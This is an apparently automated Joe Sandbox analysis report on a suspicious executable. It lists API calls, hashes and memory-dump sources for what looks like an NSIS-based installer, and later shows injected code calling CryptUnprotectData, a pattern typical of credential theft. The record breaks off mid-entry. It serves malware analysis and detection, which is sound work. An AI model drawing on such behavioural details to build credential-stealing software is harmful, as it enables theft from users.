Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction ID: 78b67de6d16717a489960d5e53e23e1f77e1f7f38f635152e8b2699b13fa448d
Opcode Fuzzy Hash: 51bd416a2a5802dcebde0e8cf043a9bf389b7035035a475ca1d7752134760d3a
Instruction Fuzzy Hash: EAF06270504108ABEF205F50CD4ABAE3768BB00309F00803AFA16B91D0CBF95959DF59

Function 100022EB Relevance: 9.1, APIs: 6, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID:
API String ID: 3579998418-0
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 1000248D Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 100024E1
StringFromGUID2.OLE32(?,00000000,?,?,?,00000000,00000001,1000186C,00000000), ref: 100024F5

Part of subcall function 100012F3: lstrcpyW.KERNEL32(00000019,00000000,7556FFC0,100011AA,?,00000000), ref: 1000131E

GlobalFree.KERNEL32(?), ref: 10002559
GlobalFree.KERNEL32(00000000), ref: 10002582

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: FreeGlobal$FromStringlstrcpywsprintf
String ID:
API String ID: 2435812281-0
Opcode ID: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction ID: b8df5bf25714b619238b14e922296a4c8fadfdd3343c634a81266bb1cff10f5b
Opcode Fuzzy Hash: 9253aae3ae820304c48da97b40e54ff33b64d0bdf23cd0f03cf5d4ae08895b6f
Instruction Fuzzy Hash: 3131F1B1504A1AEFFB21CFA4DCA482AB7B8FF003D67224519F9419217CDB319D50DB69

Function 100018C1 Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalFree.KERNEL32(?), ref: 10001928
GlobalFree.KERNEL32(?), ref: 10001AB9
GlobalFree.KERNEL32(?), ref: 10001ABE

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: FreeGlobal$lstrcpy
String ID:
API String ID: 176019282-0
Opcode ID: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction ID: 5f977143e903dceeb219282147683d12af406f102b63ffa8563e92424d473d54
Opcode Fuzzy Hash: 1c9453be25982cee2ee6e6730667b579ec96db4d4f6aa0d6ab14657c31cbc0ef
Instruction Fuzzy Hash: B451B736F01119DAFF10DFA488815EDB7F5FB463D0B228169E804A311CDB75AF419B92

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction ID: ada95b61e8ad34ac3bb2ad29be3e5f3f7733698153a8948b25f67961a2a4c07b
Opcode Fuzzy Hash: 91a0cc9b62795f3a8a15dda2708214bc4454f5c9052d466bcbd9eea0ad329b5b
Instruction Fuzzy Hash: 2E113D7190400CFEEF21AF90DE89DAE3B79EB54348F10447AFA05B10A0D3759E51EA69

Function 10001617 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002167,?,00000808), ref: 1000162F
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002167,?,00000808), ref: 10001636
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002167,?,00000808), ref: 1000164A
GetProcAddress.KERNEL32(10002167,00000000), ref: 10001651
GlobalFree.KERNEL32(00000000), ref: 1000165A

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: d593e7263c37e61c996d4e257660d94f001a2630b08086f07ab1fbfa1127a49e
Instruction ID: 62a37a396924b9b833916b179176740e0848b2f5cedec3081aefe4e9105dc113
Opcode Fuzzy Hash: d593e7263c37e61c996d4e257660d94f001a2630b08086f07ab1fbfa1127a49e
Instruction Fuzzy Hash: F0F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08305B104466F601F5190C674AD018B35

Function 00404978 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004226D0,004226D0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404A09
wsprintfW.USER32 ref: 00404A12
SetDlgItemTextW.USER32(?,004226D0), ref: 00404A25

Strings

%u.%u%s%s, xrefs: 004049F3

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction ID: 6b2e2e184c3c611d12d6b53aa9198873543b26f6782fca7c8cbe4a2e3a07221a
Opcode Fuzzy Hash: 5ac319f3f1fbe76218499090b5c3f3a2c47b89264d6babd6022050aef882dcc8
Instruction Fuzzy Hash: 1411E2736001243BCB10A66D9C45EEF368D9BC6334F180637FA29F61D1DA799C2186EC

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction ID: 3450dd174e4bd499bd5dd80d9ee349d4783428bbf063aee010979b0fef1ae38f
Opcode Fuzzy Hash: 5e1f230eecded0db815b532ef795033685ed3b5cfc855201c3a552c7fdd4c815
Instruction Fuzzy Hash: D8217471A44109BEEF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405935 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 0040593B
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403344,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,00403512), ref: 00405945
lstrcatW.KERNEL32(?,00409014), ref: 00405957

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405935

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6247f5a3c9563be90945cd41d23768fa590745b080056b24a315d5606c671452
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: E5D05E21101921AAC21277448C04DDF669CEE45300384002AF200B20A2CB7C1D518BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68

Function 0040381F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75572EE0,004037F6,75573420,00403621,?), ref: 00403839
GlobalFree.KERNEL32(?), ref: 00403840

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403831

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction ID: bf490ea997193b46d556285b385326fb3516ec302950e4cd11f154ac4515a356
Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
Instruction Fuzzy Hash: F9E0C23394102057C7216F15ED04B1ABBE86F89B22F018476F9407B7A283746C528BED

Function 00405981 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\________.exe,C:\Users\user\Desktop\________.exe,80000000,00000003), ref: 00405987
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\________.exe,C:\Users\user\Desktop\________.exe,80000000,00000003), ref: 00405997

Strings

C:\Users\user\Desktop, xrefs: 00405981

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: e5431d3d33a146c3150d202dfaa2e9e12a1dec100281116c20088c3141bfb115
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C6D05EA2414920DED3226704DC44AAFA3ACEF113107894466F901E61A5D7785C808AFD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000001.00000002.1630387930.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.1630302750.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630505484.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1630587983.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_________.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000001.00000002.1622740996.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1622726134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622756571.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622773705.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1622861428.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_________.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Analysis Process: ________.exePID: 5916, Parent PID: 2916COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	8.5%
Total number of Nodes:	130
Total number of Limit Nodes:	14

Executed Functions

Function 32D45290 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 32D48670

Memory Dump Source

Source File: 00000003.00000002.3975729252.0000000032D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 32D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d40000_________.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: 7ed7b94c1bafb647bf690da9421d7a1b675f7aed10575e9faa0125bb4eddf864
Instruction ID: 8f835830c2f502045fe5e70386569dae55f8f7b21c119a54d453f21542693c3d
Opcode Fuzzy Hash: 7ed7b94c1bafb647bf690da9421d7a1b675f7aed10575e9faa0125bb4eddf864
Instruction Fuzzy Hash: A173E631D1075A8EDB11EF68C944A99FBB1FF99304F51C69AE44877221EB70AAC4CF81

Function 35E986C4 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 35E98F5D

Memory Dump Source

Source File: 00000003.00000002.3978381801.0000000035E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_35e90000_________.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: dd7f5f2b2bfa8945c55ee955463289a476115edeb09a80188dc3430e4db895ff
Instruction ID: f43299309fa60ffbd4629ad8c0c6184e1ae231fc488a3bd1fd9bfded22f32b4b
Opcode Fuzzy Hash: dd7f5f2b2bfa8945c55ee955463289a476115edeb09a80188dc3430e4db895ff
Instruction Fuzzy Hash: CD11567680434DEFDB10CF9AD800BDEBBF5EB48320F14845AE918A7211C379A950CFA5

Function 35E98EF1 Relevance: 1.6, APIs: 1, Instructions: 54encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 35E98F5D

Memory Dump Source

